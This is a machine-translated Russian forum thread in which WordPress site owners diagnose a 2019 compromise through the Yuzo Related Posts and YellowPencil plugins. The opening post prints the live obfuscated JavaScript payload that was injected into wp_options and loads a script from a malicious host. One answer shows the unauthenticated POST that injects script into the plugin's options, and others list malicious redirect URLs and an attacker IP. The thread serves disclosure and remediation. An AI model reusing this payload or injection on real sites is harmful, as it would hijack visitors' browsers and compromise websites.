Уязвимость в закрытом плагине Yuzo Похожие сообщения

Около часа назад страница Wordpress, которой я управляю, начала перенаправлять на страницы рекламы/вредоносных программ.

Я нашел источник перенаправления, хочу предоставить помощь другим затронутым, и мне нужна помощь в поиске фактической уязвимости и/или исправления.

Перенаправление происходит после завершения загрузки сайта, поэтому я искал фрагмент JavaScript на странице и сомнительные перенаправления в Network Analyzer. Явными злонамеренными перенаправлениями были: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk и сайт, пытающийся захватить мое текущее местоположение (хотя он не мог воспроизвести это более одного раза).

Мне удалось отследить перенаправление вплоть до https://hellofromhony.org/counter, который встроен через фрагмент кода.

Фрагмент был встроен в wp_options в запись с ключом 'yuzo_related_post_options' - более конкретно, в опцию json 'yuzo_related_post_css_and_style' параметра option_value. Этот вариант отражается без санации.

Эта опция является частью плагина Yuzo Related Posts, который был прекращен около недели назад: https://wordpress.org/plugins/yuzo-related-post/

Удаляя тот плагин, немедленно прекратил перенаправление, я не смог найти других следов взлома сайта.

Фрагмент, который был в option_value:

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Удаляя плагин, я хочу углубиться, чтобы убедиться, что не было доступа к базе данных, бэкэнду и веб-пространству.

Ответы

Ответ 1

Я верю, что только что нашел: плагин Yuzo Related Posts не проверяет аутентификацию при сохранении параметров.

ТАК ПОСТИНГ

yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script> 

to /wp-admin/options-general.php?page=yuzo-related-post будет успешным, даже если вы не вошли в систему.

Плагин использует is_admin() для проверки подлинности, но это "ложный друг", и он проверяет, находится ли доступная страница только в административной области, а не если пользователь прошел проверку подлинности (или авторизован). Смотрите документацию Wordpress.

Быстрое решение для продолжения использования плагина - просто удалить опцию настройки, /assets/functions/options.php false в if-Statement в /assets/functions/options.php строка 1155:

    function __construct(){

        global $if_utils;

        $this->utils = $if_utils;

        if(false/* is_admin() */)
            self::configuration_plugin();
        else
            self::parameters();

    }

Обновить:

Ханг Гуан указал на сообщение в блоге об этой проблеме на прошлой неделе, похоже, что сейчас оно "в дикой природе".

Ответ 2

Я поговорил с другом, и он сообщил мне, что на его сайтах не было плагина The Yuzo Related Post, но пострадали те, у кого был Желтый Карандаш. Так же, как сайты, которыми я управляю. Были затронуты только те сайты, которые имеют Желтый Карандаш, и просматривают комментарии здесь, распространенными плагинами из тех, которые были затронуты, является Желтый Карандаш. Для меня это выглядит как желтый карандаш имеет недостаток. Как вы думаете? Потому что я не нахожу ничего об этом или каких-либо подозрений об этом плагине.

Ответ 3

Я не использую Yuzo Plugin, и я повлиял

например:

<link rel='https://api.w.org/' href='https://hellofromhony.com/goaway?temp=5&#038;/wp-json/' /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://hellofromhony.com/jump.js?temp=5&#038;/xmlrpc.php?rsd" /><link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://hellofromhony.com/jump.js?temp=5&/wp-includes/wlwmanifest.xml" /><meta name="generator" content="WordPress 5.1.1" /><link rel="canonical" href="https://hellofromhony.com/goaway?temp=5&#038;/" /><link rel='shortlink' href='https://hellofromhony.com/goaway?temp=5&#038;/' /><link rel="alternate" type="application/json+oembed" href="https://hellofromhony.com/goaway?temp=5&#038;/wp-json/oembed/1_0/embed&#038;url=https%3A%2F%2Fhellofromhony.com%2Fgoaway%3Ftemp%3D5%26%2F" /><link rel="alternate" type="text/xml+oembed" href="https://hellofromhony.com/goaway?temp=5&#038;/wp-json/oembed/1_0/embed&#038;url=https%3A%2F%2Fhellofromhony.com%2Fgoaway%3Ftemp%3D5%26%2F&#038;format=xml" />

Все ссылки на данные (href и другие) затронуты

Чтобы исправить я иду в БД и удаляю связанные элементы этого домена:

enter image description here

Это список моих плагинов:

wp-content/plugins]# ls  | tr -s ‘[:blank:] ‘\n
./
../
404-to-301/
bloom/
breadcrumb-navxt/
contact-form-7/
custom-post-type-ui/
custom-twitter-feeds/
divi-builder/
envato-market-update-theme/
eventex-shortcodes/
facebook-thumb-fixer/
index.php
litespeed-cache/
loginizer/
menu-icons/
meta-box/
meta-box-show-hide/
meta-box-tabs/
onesignal-free-web-push-notifications/
option-tree/
page-links-to/
particle-background-wp/
ParticleJs-WP-Plugin-master/
revolution_slider/
so-css/
top-bar/
under-construction-page/
visual_composer/
waspthemes-yellow-pencil/
wd-instagram-feed/
wordpress-importer/
wordpress-seo/
wpforms-lite/

Изменить: вредоносные программы присутствуют в: Yellowpencil CSS Style Editor https://hackrepair.com/blog/yellowpencil-visual-css-style-editor-zero-day-exploit

Ответ 5

Спасибо вам большое! Это именно то, что повлияло на мой сайт и удаление плагина исправило это. Ты самый лучший!!!!!!!!!

Ответ 6

Это код, вызываемый из Javascript:

https://eu0.proxysite.com/process.php?d=LyIY9BCo%2Flq7qm7SirZFIpuAxEm%2BrGKSD9BLL2k%3D&b=1&f=norefer

Который может быть каким-то образом deofuscated здесь http://jsnice.org/

Есть несколько строковых функций кодирования/декодирования и две ссылки снова с String from Chars

var _0x53d8e8 = String [_0x1e6662 (_0xecd50d [26], _0xecd50d [27])] (104, 116, 116, 112, 115, 58, 47, 47, 110, 111, 116, 105, 102, 121, 109, 101, 112, 117, 115, 104, 46, 105, 110, 102, 111, 47, 114, 115, 47, 49, 48, 56, 56, 63, 99, 111, 117, 110, 116, 61, 53, 38, 100, 101, 99, 108, 67, 111, 117, 110, 116, 61, 51, 38, 102, 117, 108, 108, 83, 99, 114, 101, 101, 110, 77, 111, 100, 101, 61, 101, 110, 97, 98, 108, 101, 100, 38, 117, 116, 109, 95, 115, 111, 117, 114, 99, 101, 61, 99, 108, 97, 114, 107, 116, 104, 114, 101, 97, 100);

указывая на: https://notifymepush. info/rs/1088? count = 5 & declCount = 3 & fullScreenMode = enabled & utm_source = clarkthread

а также

104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 115, 102, 101, 101, 100, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107

или https://нажмите. Новостная лента. support/esuznxifqk

Другое поведение, которое я видел в прямом эфире на моем сайте, - это хак, пытающийся через некоторое время изменить URL-адрес в адресной строке на оригинальный.

Ответ 7

Я внес изменения и улучшения в области безопасности. Команда WordPress это проверить

Ответ 8

IP-адрес, имеющий отношение к России, принимает участие в этом: http://185.212.129.204/0.txt Содержимое этого файла загружается в таблицу wp_options, в строку yuzo_related_post_options. Существует ссылка на JavaScript, которая будет расшифрована.

Ответ 9

У меня также нет юзо, но у меня есть тема аурум от envato и envato market и желтый карандаш. Я думаю, что один из них должен быть виновником.

LayerSlider
advanced-custom-fields-pro
advanced-database-cleaner
akismet
auth0
envato-market
express-checkout-paypal-payment-gateway-for-woocommerce
font-awesome
index.php
js_composer
kiwi-social-share
mailchimp-for-woocommerce
olympus-google-fonts
product-carousel-slider-for-woocommerce
product-import-export-for-woo
really-simple-ssl
social-media-widget
taxonomy-terms-order
ultimate-social-media-icons
updraftplus
velvet-blues-update-urls
waspthemes-yellow-pencil
woo-default-attributes
woo-product-slider-and-carousel-with-category
woo-single-product-page-customizer
woocommerce
woocommerce-dynamic-gallery
woocommerce-gateway-paypal-express-checkout
woocommerce-gateway-stripe
woocommerce-remove-all-products
woocommerce-services
woocommerce-show-attributes
wp-add-mime-types
wp-reset
yith-woocommerce-wishlist

Ответ 10

+1 за то, что меня поразило это, и единственное сходство, которое я вижу с приведенными выше списками плагинов, - это WooCommerce и Yellow Pencil.

Мне было интересно, почему, никогда не используя плагин Yuzo, это произошло. Похоже, я не одинок.

Ответ 11

Я также использую YellowPencil, и я могу подтвердить, что я получил vuln, потому что я не использую плагин Yuzo, после поиска я узнал об этой статье от pluginvulnerabilities.com

https://www.pluginvulnerabilities.com/2019/04/09/recently-closed-visual-css-style-editor-wordpress-plugin-contains-privilege-escalation-vulnerability-that-leads-to-option-update- уязвимость /

Так что для тех, кто все еще использует YellowPencil, вы можете попробовать удалить его сейчас, а если вы заражены, вы можете изменить свой siteUrl в таблице wp_options на свой обычный сайт.